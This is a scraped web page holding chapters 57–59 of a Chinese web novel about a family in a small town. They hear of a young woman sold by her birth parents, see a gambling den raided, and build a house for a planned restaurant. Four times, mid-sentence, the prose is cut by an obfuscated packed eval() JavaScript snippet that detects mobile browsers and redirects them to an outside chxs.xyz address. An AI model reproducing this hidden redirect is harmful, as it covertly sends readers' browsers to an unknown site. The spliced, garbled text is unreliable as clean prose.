赵如月听到这里,气得都不知道该摆出什么表情:“一个女儿卖两次,还不用自己养大,这种人可真是畜生都不如!也配当父母!” 宁绍明说:“还不止这些,你先别那么生气,更气人的还在后面,其他邻居不愿意帮忙,除了是因为我这个亲戚都不帮忙之外,也有听到那姑娘的养父母说的那些话的原因。” 赵如月喝了一口沁凉的冷白开压了压火气:“你继续说。” 宁绍明说得口渴,也把她的杯子拿过来,也喝了一口水,结果冻得牙疼,赶紧放回去。 “过继她后,她养父工作调动到沪市,他们家好几年才回一次老家,她小的时候,亲生父母没关心过一句,等到她高中毕业,考上大学后,她亲生父母就开始关心她了,但就是寄几封信,没给过钱。” 赵如月忍不住插了一句嘴:“孩子考上大学,哪怕是亲戚,也会给个红包意思一下,这还是亲生父母呢!就算过继了,在身份上也是侄女,一毛不给,光寄信算什么关心!” 宁绍明道:“可不是么,她大学毕业那年,她亲生父母亲自去沪市看望她,也一份没给,她养父母看他们哭得可怜,念着血脉亲情,没阻止他们见她。” “结果那两个知道她不会马上参加工作,还要继续读书就变了脸色,回老家后没了动静。 过了一段时间,打电话给他们,说她亲生母亲病得快死了,死前就想见她一面,要不然死了也比不上眼。 她养父母心里不落忍,让她回去看看再回沪市继续考研,结果这一去,回不来了。” 听宁绍明说到这里,赵如月忍不住唏嘘:“太惨了,这姑娘。” 本来该是犯困的时间,她脑子却越来越清醒,一时想到上辈子的那个没几年就没了的傻姑娘,一时又想到现在的。 忽然,她想到一件事:“那个姑娘能考上大学,还要继续考研,肯定不是傻子吧,可我看她有时候,脑子确实不太清醒,也不太像装傻,难道是受过别的刺激?” “正要跟你说呢,我刚刚说了,更气人的还在后面,那姑娘不是第一次被他们卖,第一次是卖给他们老家村里的一个想娶大学生改善那什么基因? 反正就是一个想娶大学生的男的,在那边算有点钱。 强迫她生米煮成熟饭,那姑娘生了个孩子,人也疯了。 那男的跟别的女人勾搭上,就不想要她了,让她亲生父母把她接走,她亲生父母才又把她卖到这里。” 赵如月听完已经说不出话来。 两个孩子不知道什么时候醒了,小小声地说:“新娘阿姨好可怜。” 赵如月看他们醒了,边哄他们继续睡,边跟他们说一些安全注意事项,哄得两个孩子迷迷糊糊地快要睡着。 外面骤然响起警笛声,两个孩子又被惊醒了。 “怎么回事,听那声音不算远,是警察和那姑娘的养父母成功把她带走了?” “不是吧,我回来的时候,他们双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809282|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方已经谈妥了,刚开始大姐夫那堂弟还闹着要把人轰走,那姑娘的养父母说翻倍把彩礼钱赔给他,他没考虑多久就同意了。” 宁绍明坐起来拉了一下床边的灯线,把灯打开,然后捞过外套穿上,“我出去看看,外面太冷,你们别起来了。” 他走到门口,其他邻居也出来看了,但都没看出什么名堂来。 警车很快就开走了,似乎只是路过。 众人在门口聊了几句,凌晨外面实在太冷,又各自回了家。 宁绍明走到房门口,正要开门回房,就看到天井处的围墙上爬着一个黑影。 “谁在那里!”他呵斥着打开手电筒照过去。 趴在墙上的人捂着眼睛:“老三是我,快把手电筒挪开,太晃眼睛了!” 宁绍明把手电筒往旁边挪了点,照着那人旁边的位置,也可以看清是谁了:“大哥,你怎么有正门不走,爬墙进自己家……” 宁绍贤从墙上滑下来,拍了拍身上的灰尘:“嗐,别说了,我又不傻,要是能走我会翻墙?” “你干什么去了?” “去梁国兵那里玩牌,不知道是哪个孙子报的警,突然一群警察冲进来抓人,我一看事情不对,赶紧跑了,梁国兵跟好些人被抓走了。” 他说着还挺得意:“他们年纪比我小不少,没想到腿脚还不如我利索啧啧。” “你以后可别再去干这种事了,万一被抓,你让大嫂和小春丹萍怎么办?留了案底,以后他们俩还有你的孙子孙女都受影响,万一出个读书厉害的,想端铁饭碗都过不了政审。” 宁绍贤满不在乎:“可拉到吧,我们家什么时候出过读书厉害的人了?那个当老师的,还是个体育老师,靠比赛出点成绩,才勉勉强强能上中专。 你不如说家里孩子沾点运动天分,还比较能说服人,你家小夏跑起来就挺快的,听说在学校揍人也可厉害。” “我家两个还小,小春今年就十八了,再过几年也该谈对象结婚,总得给他找个出路吧?读不下书送他去当兵也行,但你要是还去玩牌,万一被抓了,他这条路可就被堵死了。” “当兵有什么意思,小春肯定不乐意去,而且你也说了,万一被抓,说明更有可能警察抓一万个,也抓不到我这一个。” 宁绍明看他一脸无所谓的样子,还说歪理抬杠,气得都想骂人:“那随你吧,说什么都没用,我也懒得管你了。” 他自己都不顾自己的后代,当兄弟的劝不动还能怎么办? 反正都分家了,以后就不是一家人,只是亲戚。 真出了事,被牵连的也不是自己的孩子,大哥爱怎么着就这么着吧,别后悔就行! 宁绍贤看他不高兴了,也不在意他沉下来的脸色,还说:“这就对喽,各人有各人的活法,你一个当弟弟的,还想管到我这当哥哥的头上,这不反了嘛?” 好心当作驴肝肺,宁绍明彻底不想搭理他了,关了手电筒,打开房门,回房睡觉去。 57. 第 57 章 睡了一觉起来,赵如月一起床,早饭都没吃,给自己和孩子洗漱收拾好,立刻抄起一个大扫帚就出门扫地。 他们这里大年三十到大年初二都不能扫地。 但是初三早上,必须一大清早打扫,把这几天放鞭炮、烧香落下的香灰,还有烧纸钱堆积的灰全部扫掉。 往年都是王海燕打扫最积极,她跟很多镇上的人都认为,扫掉这些东西,可以顺便把身上的霉运一起扫掉。 今年王海燕跟往年一样的时间起床,也没赵如月快。 王海燕昨天大年初二也回娘家了,一家四口都穿着新衣服戴着新手套,她自己脖子上还围着漂亮的丝巾,在娘家出了一会风头。 原本她还念着赵如月送自家东西的好,今早扫地的活被抢走,她心里又不痛快起来。 她出门看到赵如月在门口扫地还觉得奇怪:“哎哟喂,你今年还挺勤快。” 赵如月装作听不出她话里有话:“还行,分家了以后过年都得扫自家的,我提前适应一下,对了大嫂,你昨晚听到警笛声没?大哥昨晚上回来有没有跟你说怎么回事?” 宁绍明回房间后跟赵如月说了,宁绍贤告诉他,有警察去抓赌的事。 但赵如月觉得同一件事,当事人在跟不同的人面前说同一件事,可能会有一些差别,也许人家夫妻俩谈的时间久,说的细节比较多。 赵如月才想着问问王海燕,多了解一些。 她一大早特地跑出来扫地,也是想边扫地,边跟同样到门口来扫地的其他邻居聊聊昨晚发生的那两件事。 两人说话没有刻意压低声音,对门赵鸿利的嫂子、左边邻居黄鑫阳妈妈和右边邻居都听到了。 几个人扫着扫着,就凑到赵如月和王海燕身边,开始一起嘀咕。 “昨晚有警笛声?”王海燕是真不知道,“我昨晚睡得死,我家那口子什么时候回来的我都不知道。” “真的假的?”其他人表示不信。 “骗你们有什么好处?”王海燕自己都后悔睡得太死,错过一场热闹。 她听其他人聊才知道,昨晚警察把梁国兵还有在他家玩牌的人抓了不少。 对门赵鸿利的大嫂说:“昨晚我小叔子也去了,今早还没回来,他媳妇儿说要回娘家多住两天,两个孩子我现在帮忙照顾着。” 王海燕听她们说完心有余悸:“我家那个昨晚也去了,幸好他没被抓。” 她说完还不放心,特地回房间看了一眼,确认宁绍贤确实在床上睡着才放心地出来,问赵鸿利的大嫂:“赵鸿利被抓了,你还不赶紧叫他媳妇儿回来想想办法?” “怎么叫?她娘家也没电话,那村里连个小卖部都没有,只能看看谁去走亲戚,让别人帮忙捎个话了。” 赵鸿利的大嫂想到大年初一那天,赵鸿利打媳妇儿那事就糟心。 那事还不知道该怎么跟人家娘家人交代呢,他媳妇儿回娘家那天,赵鸿利也没给什么东西让她带去娘家。 她家那口子原本想着,等过两天逼着赵鸿利带着礼去道歉,然后把人接回来,结果赵鸿利竟然被抓了。 赵鸿利的大嫂叹了口气说:“我家那口子今天一大早,跟昨晚家里有人被抓的人家,一起去镇上的派出所了,等他们回来再看看情况吧。” 镇上没发生过这样的事,大家也多是不懂法的人,谁也不知道事情到底严不严重。 她们在这边正热火朝天地聊着。 就听到另一撮也凑在一起嘀咕的男人里,有个男的提高了声音,对着某个方向大声打招呼:“哟,老钱终于舍得出洞了?” 其他人立刻不约而同地往老钱那个方向看去。 老钱就是昨晚两件引得警车出动的两件大事的主人公之一,娶了傻姑娘当媳妇儿的那个男的,他姓周,但外号是老钱。 老钱耷拉着脸,倒三角眼掀起眼皮看人的样子,带着一丝让人不爽的不屑:“初三当然要出来把家里的霉运扫掉。” 那些男人调侃道:“我看你还是被扫了,你家里正走财运,可别别把财运给扫走。” “老钱昨晚挣了多少钱啊?说出来让我们羡慕一下呗!” 老钱也不傻:“甭管多少钱,反正够我娶个正常的新媳妇儿,你们羡慕不来!” 赵如月听到这里心里有些复杂,也许对那个姑娘来说这已经是最好的结果了,可老钱这种买老婆的人,没受到惩罚,可真是让人心里窝火。 她不想再听下去,自家门口的地也扫得差不多,把垃圾装起来,提着往街上倒垃圾的地方走。 不巧,扔完垃圾准备回来的时候,遇到了她大姐。 赵如艳果然跟她控诉起宁绍明昨晚不帮忙的事。 赵如月尝试着跟她讲道理,可完全说不通,她就揪着这事说个没完,非得让赵如月回去数落宁绍明一顿,还想让宁绍明跟她道歉。 “不可能!”赵如月听到后面这个要求,也没耐心跟她说了,直接直截了当地拒绝。 赵如艳不可置信地看着自己妹妹,不相信妹妹竟然会拒绝自己的要求:“你说什么?我就让你回去说说他,让他跟我道个歉都不行?你还记得我是你姐吗?” “你是我姐也不能不讲道理,那件事说一千道一万,也是买卖人口的人有错,我家绍明没帮是对的,帮了才是助纣为虐!” 赵如艳指着她:“你你你,你可真是嫁出去的女儿泼出去的水,我可是你亲姐,你竟然不站在我这边,以后你在婆家受委屈,可别想我帮你说话!” “我也用不着你帮我!”赵如月心说,以她姐现在这种心态,不帮倒忙就不错了。 上辈子她怎么没发现自己姐姐竟然是这样的呢? 不过上辈子昨晚那两件事都没发生,也许她姐在别事情上也这样,但没跟她有冲突吧。 赵如月坚决拒绝赵如艳的要求后,直接转身走了,把赵如艳气够呛。 这天不管哪个亲戚来问她昨晚发生的事,她都要在人家面前先指责妹妹妹夫一顿,然后才开始说昨晚上的事。 整个过年期间,这两件事都占据了镇上的‘新闻头条’,除非再发生别的大事盖过去,要不镇上的人都会一直讨论。 玩牌被抓走的人大部分被关了几天就放出来了,只有提供场地并且带头赌的梁国兵几人还在被关着。 上辈子梁国兵在镇上跟打游击似的,警察一来他们就跑,还会到处挪窝,一连十几年没翻车过。 镇上不少人每年出去打工挣钱,到了年底,那些钱全填进了他的赌场。 尤其是那些单身汉,一个个的,一人吃饱全家不饿,也不管父母,最后混成了老光棍,媳妇儿也娶不上。 这种单身的只害自己,结了婚的就是害人害己了。 不少对夫妻就是因为男的去赌而离了婚,孩子从干干净净的宝贝,变成脏兮兮的小乞丐模样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815534|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵如月隐约觉得,梁国兵被抓,跟昨晚来解救被亲生父母卖掉那姑娘的警察,可能有点关系。 不过她没有证据,私下跟宁绍明讨论一下就把这事抛到了脑后。 过年期间虽然没有活干,她也不能真的什么也不干,年后要建房,总得先想想自家的房子要怎么建。 还有房子建好就要开店了,总不能等事到临头再去想开店卖什么。 这些都需要提前考虑,还要多在街上逛逛。 春节很多店和摊子不做生意,但也有一些人想赚小孩子压岁钱,以及过年需要临时卖礼品走亲戚那些人的钱。 以前到街上逛,只需要关注自己买的东西,然后货比三家。 现在带着不一样的目的去逛街,就要仔细观察镇上的店铺和小摊都卖些什么,生意怎么样,还有别人是怎么做生意。 看事情的角度也从顾客,转换成店家。 从初三到初六,有时候是赵如月和宁绍明一起,带着宁时秋和宁时夏兄妹俩上街逛,有时候是他们两个轮流带着去逛街,把两个孩子高兴得晚上睡着了都做美梦笑出声。 毕竟逛街嘛,也不可能总是只逛不买,有时候想问店家一些问题,最好先跟店家买点东西。 大人没有想买的东西,肯定就是给孩子买了,尤其是他们想开的还是餐饮店,去看的大部分店都是卖吃的。 随着年味越来越淡,街上开门做生意的也越来越多,两个孩子能吃到的东西也越来越多。 短短几天,他们几乎把出生好几年都没能吃个遍的东西,全都尝了一遍,每天三餐还正常吃,一个年过完,吃得小脸肉乎乎,越发可爱了。 大年初六开市,鹏城有发开工红包的习俗。 所以年初五,一些想领开工红包的打工人背上了行囊,再次登上远行的车。 吴丽和黄文发夫妻俩也选择在这一天出发,这次他们从被老乡带出去打工的人,变成了带人出去打工那个‘老乡’。 宁绍明大年初一时,给之前工作那个酒店的经理打电话拜年,顺便问他酒店还缺不缺人,得到了经理肯定的答复,经理还让宁绍明只管介绍人过去。 他跟黄文发两个给经理的印象很好,因此经理也比较愿意招他们这边的人, 不过经理也让宁绍明把酒店的情况和要求说清楚。 虽然这一点宁绍明早就跟想去的人说过了,但是他打过电话后,仍然特地往有意向的人家里都跑了一趟,顺便统计出要去的人,把名单交给黄文发。 黄文发也不嫌带人去麻烦,毕竟带去的人成功入职的话,介绍人也会有一笔介绍费,普通职位一百,有手艺有技术的甚至能拿到三百。 宁绍明不去,介绍人就是黄文发。 这一批去的人不少,凑一起都能包一辆长途车了。 要是这一批去的人都能留下来,黄文发能拿到不少钱。 只是黄文发依然很遗憾好兄弟选择留在老家,不再一起出去闯荡。 临走前还反复问了好几次,把宁绍明都问烦了,那点离别的愁绪荡然无存,催着黄文发赶紧走:“上车吧上车吧,别啰嗦了!” 只是等他们的车开走了,看着他们那些站在原地,哭着目送车子离开的孩子。 那股惆怅又在心里升腾,同时对自己的选择越发坚定。 去年他的孩子,也是这样目送他们离开,当时他都不敢回头看。 58. 第 58 章 ‘请注意,倒车,请注意,倒车——’ 倒车的提示音,在被整理平整的空地上回响。 宁绍明站在大车的左后方,挥着手指挥:“后退,再往后一点,还要往后一点,可以了可以了!” 倒车提示音停下,大车停稳,车门打开。 宁绍明不抽烟,但口袋里也放着两包好烟,见着人就发一根。 他掏出兜里准备的烟,递给司机:“辛苦了兄弟,大过年的还来给我家送货,等会儿别急着走,一定要在这里吃过晚饭再回去啊?” 司机客气了一句:“那多不好意思,我家里也做饭了,卸完货开车回去,还能赶得上晚饭。” 宁绍明又劝:“开车多费精力,在这里吃一顿,开车到家也快消耗完了,家里做的可以当宵夜嘛,今天我刚好跟人买了一只羊,一半炖一半烤,人少了吃不完多可惜,这东西就得吃新鲜的才好,留第二天吃就不新鲜了。” 司机吸了口烟,还有点矜持地想了几秒,才点点头:“也行,兄弟你点点货,不对的话,我好及时跟老板说,你们这里有电话吧?” “有,我家就有电话,兄弟往这边走,那边有桌椅,你喝点茶水歇口气。”宁绍明引着司机到临时搭建起来,准备做厨房的棚子里,给他倒了杯茶水。 昨天初五,宁绍明一大早把黄文发一行人送走后,又马不停蹄地去找人来自己的宅基地这边,修整出一块放钢筋的地面。 还顺便搭建起两个小棚子,一个小棚子是临时厕所,被建在下风处。 一个就是这个充作临时厨房的棚子。 白天这棚子充作厨房,给帮忙建房的人提供两顿饭,还有干净的茶水。 晚上宁绍明要睡在这里看东西,要不他们家的钢筋很容易不翼而飞。 近些年社会风气不太好,小偷小摸的可不少。 安顿好司机,宁绍明陪着聊了几句才去点货,卖钢筋的老板对待自己老家的人,还是比较靠谱的。 送来的东西数量和质量都没有问题,宁绍明点了货后,很痛快地签了收货单。 尾款他直接去镇上的邮局给老板寄过去,然后把汇款单复印一份交给司机,让司机带回去给老板,这批货就算两清了。 请来帮忙的人把钢筋卸下后,又去忙活别的。 这几天主要是打地基,他们家以后有可能还要往上建第二层、第三层,甚至第四层,所以地基也是按照最多四层的来挖。 镇上的自建房不像有钱人的乡下豪宅,没有电梯,建到第四层已经算很高了,目前家里房子建到第四层的只有两家。 一家就是这个在县城站稳脚跟的卖钢筋的老板家,另一家就是家里开医馆的,赵如月她三叔家。 建三层的倒是多点,但也只是比建四层的多了一点。 大部分拆掉砖瓦房建楼房的人家都只建两层,其中还有很大一部分钱不够还硬建两层,建成个毛坯房再把旧家具搬进去,就住进去了。 只装个大门,连房间门和窗户都装不起。 窗户只能用篷布封起来,房间的门就用布做个帘子挡挡,建好房子还得出去打工挣装修钱。 宁绍明昨天找人来宅基地划线分区的时候,跟着来看热闹的邻居看到他划那么大一块地方建房,还劝建那么大不如建两层,上层主人,下层做开店做生意,空出来的地方用来当菜地种菜。 那么大一片地,种出来的菜吃不完还能挑到集上去卖。 镇上不少人就是这么干的,这样做确实节省成本,但也有一个问题,那就是营业区域和生活区域容易混在一起。 开店肯定需要囤一些原料,减少房子面积,意味着存放原料的地方不够,甚至根本没有单独的仓库,那势必会侵占家人的生活空间,比如客厅和孩子的房间。 房子居住起来,舒适度大打折扣,孩子也无法拥有个人的隐私空间。 很多家长往往不会注意这些,但赵如月在做房子规划的时候,特地跟宁绍明提过。 他们俩也问过孩子对新家有什么想法,女儿希望可以继续跟爸爸妈妈一起睡,可惜被两个无情的大人拒绝。 宁时夏只好改成:“希望房间大一点,还要有一个可以放很多很多玩具的大柜子。” 这个要求得到了父母的同意。 儿子的想法却出乎两个家长的预料。 虽然宁时秋小时候威胁爸爸不改建个干净的好厕所,他就不拉粑粑,这事时不时会被拿出来开玩笑。 但是这次建新家,他提出的想法依然跟厕所有关。 他希望不要让外人用自家的厕所,厕所会被弄得脏脏的,他不喜欢。 宁时秋很喜欢看书,赵如月还以为他会要求他们,给他房间做一个可以放很多书的大书柜。 宁时秋的这个要求不过分,宁绍明和赵如月就答应了。 所以他们家虽然只建一层,但也设置了两个厕所。 一个在家里,一个在店里。 房子整体是回字形,左右两边各建两间小房间,当做存放原料的仓库。 左边靠近树林,右边靠近马路,房子中间是空地,可以种菜。 店面在前排临街的位置,他们自己住的房子在后排靠近树林的位置。 可供进出的门有两个,一个就是店面,但是客人进店后只能待在店里,不能到后面去。 因为店面通向后面生活区的门,设置在收银台后面,一般是不让客人进出的。 另一个门开在靠近树林的左边两个小房子中间,方便家人不用经过店面也可以进出。 靠近马路的右边墙面没开门,这边靠近马路容易引起过路人注意,所以以后要靠着墙支个遮阳挡雨的棚子,在棚子下摆几张桌子,给客人提供位置坐。 请来帮忙的人按照画出来的线,开始热火朝天地干活。 宁绍明则钻进棚子里,边跟送货司机聊天,边准备晚饭。 打算用来烤的羊肉先加入调料和香料,以及去腥的东西腌上。 他们这里的羊多是山羊,比起绵羊膻味稍重些,需要多种香料去掉膻味。 不过刚宰杀不久的羊肉很新鲜,用来炖煮的那一半就不用焯水,浮沫也不多,煮开后把那丁点浮沫撇掉,就可以换成小火慢慢熬。 一个小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818983|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,羊汤的香味渐渐浓郁起来,在整个工地弥漫。 原本已经离开棚子,在工地上到处溜达的送货司机都忍不住回来了,嘴里喝着茶水,视线却一直在往汤锅那边瞄。 宁绍明打开汤锅看了一眼,时间没够,汤炖得还不够火候,但现在喝也不是不行。 炖煮期间不放盐,宁绍明盛了一碗羊肉汤,往里放少许盐、切好的葱花香菜,递给悄悄吞口水的司机:“兄弟帮忙尝尝够不够味,要是喜欢吃辣的,那边还有我自己做的辣椒油,可以按照口味自己放。” 司机嘴里说着:“哎呀那怎么好意思,别人干活的还没喝上,我倒是先喝上了。”他的手却一点没迟疑。 接过汤碗,吹了吹就迫不及待地喝了一口,冲着宁绍明竖起大拇指:“好喝!你这手艺可真不错!” 宁绍明手上处理着要烤的另一半羊,嘴上谦虚道:“还好还好,勉强学过一段时间,这不,我打算房子建好,在这里开个店卖点吃的,不然也不会那么着急,元宵都没过就找人来建房。” “我说呢,怪不得那么着急拿货,不过要不是你着急拿货,轮不到我来这一趟,也喝到那么好喝的羊肉汤,以前往这边跑的是另一个司机。” 宁绍明看他碗里的汤快喝完了,又给连汤带肉舀了一勺:“多喝点,有人爱喝我这厨子才高兴呢!” 司机乐得笑眯了眼睛。 宁绍明趁机问:“兄弟,你干这一行那么久,认识不少同行吧?” 司机咽下嘴里的肉点头说:“不敢说认识多少,但干一行干久了,多少也认识一些。” “能不能帮个小忙?”宁绍明拿出一沓名片,“也不用特地帮,就是遇上了同行,给张名片,告诉他们一声,我这店是正经做生意的店,不会坑人,路过的时候要是渴了饿了,可以停下歇歇脚。” 不管以后这边发展成什么样,现在这位置确实不如老宅那边。 想要把生意稳稳当当地做起来,光是跟位置好、人流量大的店一样守株待兔可不行。 宁绍明和赵如月商量的时候,就想到了运货的司机。 这边临近进出镇子的马路分岔路口,小车不多,但拉货的车子不少,很多司机跑车的线路,短时间内几乎不会变动,看起来不是稳定客源,实际上还挺稳定的。 这部分人消费能力也不弱,而运货的司机在途中,除了害怕车祸和车子出故障,最担心的就是停下吃饭的时候,货物和油箱里的油被偷,所以他们选择停车吃饭的地方也很谨慎。 在确认某个地方比较安全后,只要那里吃的东西还行,他们跑这条线时,就会一直优先选择那个地方。 所以这些运货的司机要是能被拉拢过来,也算是一个稳定来客渠道。 而让他们的同行介绍他们来,跟等着他们自己发现自家店比起来,肯定是前者让对方建立起信任的速度肯定更快。 宁绍明的这个请求,对于这司机来说,确实就是个小事。 看在他态度一直很好,还有好喝羊肉汤,和看起来应该也很好吃的烤羊肉的份上。 司机接过那一沓名片,应下了这个小请求。 59. 第 59 章 “妈,我回来了!”自行车还没在家门口停稳,坐在车后座的宁时夏就对着家里大声喊,“我爸给装了好多羊肉!” 赵如月听到声音从厨房里出来,接过女儿怀里抱着的一个不锈钢保温桶,再把她从座位里抱下来,然后才去前面自行车篮里取出另一个保温桶。 宁时秋把自行车停稳锁上,跟在她们身后往家里走。 今天宁绍明不回家吃饭,在工地陪着去帮忙的亲戚和邻居一起吃,他们娘仨不去。 不过羊肉在本地不是常见的肉,宁绍明做了稀罕的肉也惦记着家里,特地让孩子们带回来两份,一份炖的、一份烤的,给家里加餐。 饭桌上,王海燕看着家里吃饭的这些个人,边吃边叹气。 别人家几乎一家子都在,只有她家是孤零零两个人。 等老二一家回县城,家里吃饭的人就跟去年一样,只剩下八个,但去年是老三家只有两个孩子在,而今年是她家只有她跟女儿在了。 梁国兵被抓到现在也没放出来,听说要被关好几年。 宁绍贤刚有一点爱赌的苗头,那点苗头就被狠狠掐掉了。 他又想起去鹏城打工这事,想去碰碰运气,看看自己能不能遇到贵人。 宁绍贤觉得三兄弟里,自己才是脑子最灵活、最会来事儿的那个。 老三这样的都能遇到贵人,没道理自己不能,于是兴冲冲地跟着一起去了。 这次宁绍贤也是跟着黄文发去的,还带上了他儿子宁时春。 王海燕平时跟他经常吵架,可突然见不到人还真是不习惯,她其实不太希望丈夫去,觉得家里怎么也要有个男人,这个家才有主心骨。 她是想着让儿子去,儿子的工资交一半给家里,那也是不少钱了。 等女儿初中毕业,儿子在那边也站稳了脚跟,再让儿子带着女儿去,也给家里交一半的工资。 一家四口,有两个人在外面挣钱就够了。 这样他们两口子在家,就算不用干活,一个月也能有至少一千块钱入账,她都不敢想那样的日子多好。 可惜她男人跟去了,老子带着儿子,儿子势必要听他老子的,那儿子的工资没准要落到她男人手里。 宁绍贤每个月能跟老三夫妻一样,给家里寄四百块钱都是她春节烧高香了。 王海燕光是想想自己损失的钱,心疼得吃肉都不香了。 黄秀华自从春节被王海燕顶嘴一次,现在也不爱搭理她。 看到王海燕这幅样子,她觉得晦气,往自己碗里夹了点肉和菜,就端着碗到门口,跟邻居们边唠嗑边吃去。 除了宁丹萍,其他人也不跟王海燕搭话,这时候谁跟她搭话,谁就会被她满嘴的抱怨烦死。 宁丹萍要不是她女儿,怕不搭理她要被骂不孝、自私、白眼狼,也想端着碗出去吃了。 现在她作为唯一一个搭话的人,也在被王海燕数落这挑剔那,别人还不能插嘴,帮宁丹萍说话。 谁帮宁丹萍,她一句:‘我教育自己女儿关你什么事,这么爱管,你带去帮我养呗?’就怼过来了,而且还真做得出来去给宁丹萍收拾东西,把她赶到别人家的事。 这一点家里所有人都知道,所以大家都不敢管。 吃完饭,赵如月带着两个孩子出去玩。 老二两口子回房间收拾东西,叶菁收拾好衣服,去后院往年存腊肠的地方看了一眼,最后一次确认,今年是真没有腊肠,才悻悻地回房。 她有心想在宁绍德面前说一句,他爸妈今年真吝啬,真就连腊肠也不给准备一点。 可一想到分家这事,她因为偷听到老两口的话,导致判断失误,在宁绍德面前说过他爸妈的坏话。 以至于现在在宁绍德面前低了一头,就硬生生把那些抱怨的话全咽下了。 她不知道,宁绍德其实也在心里嘀咕,今年不能带腊肠去,又得多花钱买肉吃。 以往他们带去后,一天切两节腊肠,在煮饭时放进去跟米一起煮,米饭会有腊肠的香味和油润。 米饭煮好后,把腊肠拿出来再跟青菜一起,简单炒一炒,又是一道肉菜。 省着点吃的话,能剩下两月的肉钱。 他思来想去,还是不甘心就这样回县城。 收拾好东西就去找他妈,最后多要了几十斤大米、好几斤新鲜青菜、干菜和腌菜,心里才舒服了点。 他们过年自己买的那一份东西,也一点不落地全部打包起来,带回县城,一点也没想着给自己父母留。 甚至连过年杀的那两只鸡,没吃完的部分,也打包带走了。 宁绍德以为老家有自己父母在,自己怎么做都不会传出去被别人说闲话。 但是他忘了,父母已经不是年富力强的年纪,他们已经老了,而且现在还分了家,他父母已经无法压制家里的其他人。 王海燕在他们走后,坐在门口跟邻居大声讨论,嘲笑老二一家铁公鸡。 黄秀华心里不舒服又跟她吵了一架。 过后黄秀华为了给老二挽尊,还在家里说什么‘老二夫妻俩工资低,拿着死工资,日子也不好过’之类的话。 但家里谁都是左耳进右耳出,这个年还没算过完,也不到农忙的时候,王海燕成天没事干,就爱东家走西家逛到处找人唠嗑,把这事当笑话跟人说。 宁绍明不掺和这些事,也不让赵如月和两个孩子掺和,他现在就想赶紧把房子建好,尽快搬走。 功夫不负有心人,他每天换着花样做饭给来他家干活的人吃,食材肯定是不如开工的第一天那么好。 但也是有菜有肉有汤,而且饭菜的味道,还比别人自己家做的味道还要好。 有时候做得多了,他们吃不完,剩下的他说谁想带回去当宵夜吃,可以自己打包,来干活的人都抢着要。 后来做工的人提议,他们不在这里吃了,每天自己带饭盒来,打饭回去再吃,吃完还能在家休息一会儿再来干活。 宁绍明就改了吃饭的方式,他还以为他们是真的想在家休息。 后来那些来干活人家里的小孩和宁时秋一起玩时,跟宁时秋说:“你爸做饭真好吃,还每天都有肉,我爸这几天带饭菜回来,我跟我姐抢着吃,我家就吃年夜饭那天、还有过年招待亲戚的时候,有肉吃,小秋,你家是不是天天都能吃肉啊?” 宁时秋回家后又提起这事,宁绍明才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825523|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,来干活的人不是想回家休息,而是觉得这里伙食好,想带饭菜回去跟自己家人一起吃。 他有点担心他们吃不好影响干活,但人家愿意带饭回去给家里人,他也不好改。 宁绍明悄悄观察了几天,又不动声色地问过,得知他们每天都吃得饱,干活也不像缺力气的样子才放心。 他想着他们估计是把肉菜分给家人,他们自己大概也会吃一点,不多而已。 镇上各家几乎都种大米,不缺米吃,所以米饭是管饱的,才没影响干活。 在宁绍明忙着建房子的事时,赵如月也没闲着。 带孩子去镇上逛,观察市场的主要是她,除此之外,她还要去找人打家具。 镇上没有卖成品家具的地方,倒是有木工,可以自己买木头去找木工做家具,也可以直接在木工那里说自己要什么,连工带料包给木工。 赵如月选择自己找木头做家具,他们这里靠山,自家也有山地,他们分到的山地上就有树。 现在砍自家的树还不需要报备、申请之类的,只要不砍错成别人家的树,没人会管这种事。 她抽出几天时间,带着绳子在自家的山里转悠了几圈,选中几颗最大、最直的树,有樟木、也有榉木。 樟木她打算用来给孩子做衣柜、书柜和玩具柜,虽然孩子们都没提要书柜,但她还是决定要做一个。 到时候把原本要给婆婆准备的房间设置成孩子们的书房,把书柜放进去。 